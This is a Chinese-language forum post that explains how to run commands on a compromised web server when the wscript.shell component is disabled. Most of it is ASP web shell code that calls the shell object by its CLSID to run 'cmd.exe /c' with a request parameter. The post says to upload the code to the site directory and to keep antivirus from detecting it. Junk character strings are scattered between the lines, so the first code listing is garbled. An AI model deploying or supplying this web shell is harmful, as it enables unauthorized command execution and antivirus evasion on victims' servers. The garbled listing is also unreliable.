没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  , v3 W7 H  b8 y+ @7 D
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  + s2 J  `# C8 A) {
• <%
    p: C' x5 ?- Y- N- W
• end if
  
• response.write(”")
  
• On Error Resume
  
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  7 u- |* R: Z) s
• response.write(”")
  ; x" ?6 }# ~' s" b. |
• response.write(”")
    V- S0 _# q& V
• response.write(”
  
• “)
  
• response.write(”")
  1 ]- c# I8 q" X7 z( D
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
    L) W8 ], t  d6 A3 z1 t! k$ l
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  " a" J' u1 Q; p0 a1 [/ f. {
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  0 J4 r9 `9 I: Y5 P! h6 M
• 
  . T- e" x: }8 u' z7 o1 D/ L
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  # ?, O. E+ s/ [/ f
• <%if err then%>
  ( I, T2 w& _0 K: e8 ?
• <object runat=server id=oScriptlhn scope=page
    W3 m( Q0 d* m" _
• 
  / F7 n8 x1 w2 H+ s8 X) T" ]
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  & }1 T" Q( |/ D$ |( t8 w
• end if
  1 b7 H, n$ [9 S( V6 Y7 Y
• response.write(”<textarea readonly cols=80
  , D; T  T/ L! W: c+ J
• 
  ( v& ?- f& A% F/ o
• rows=20>”)
  
• On Error Resume Next
  
• response.write
  
• 
  : \5 w& A) E5 K
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  9 \+ u5 O2 s, r0 n1 @9 e2 U
• response.write(”</textarea>”)
  . ?1 W" a, V7 |& p1 e
• response.write(”<form
  ( q0 Y& t/ `& O; y5 q# E% V
• 
  
• method=’post’>”)
  
• response.write(”<input type=text name=’c'
    i. l+ h' H# k9 E' D
• 
  ! Y* K( {  n3 [0 r6 P6 X9 ~4 o
• size=60><br>”)
  ( Y! N/ z- R4 E- P* I/ V6 V
• response.write(”<input type=submit
  
• 
  9 V3 z9 f1 c% m3 |4 n  `" }5 q
• value=’执行’></form>”)
  
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码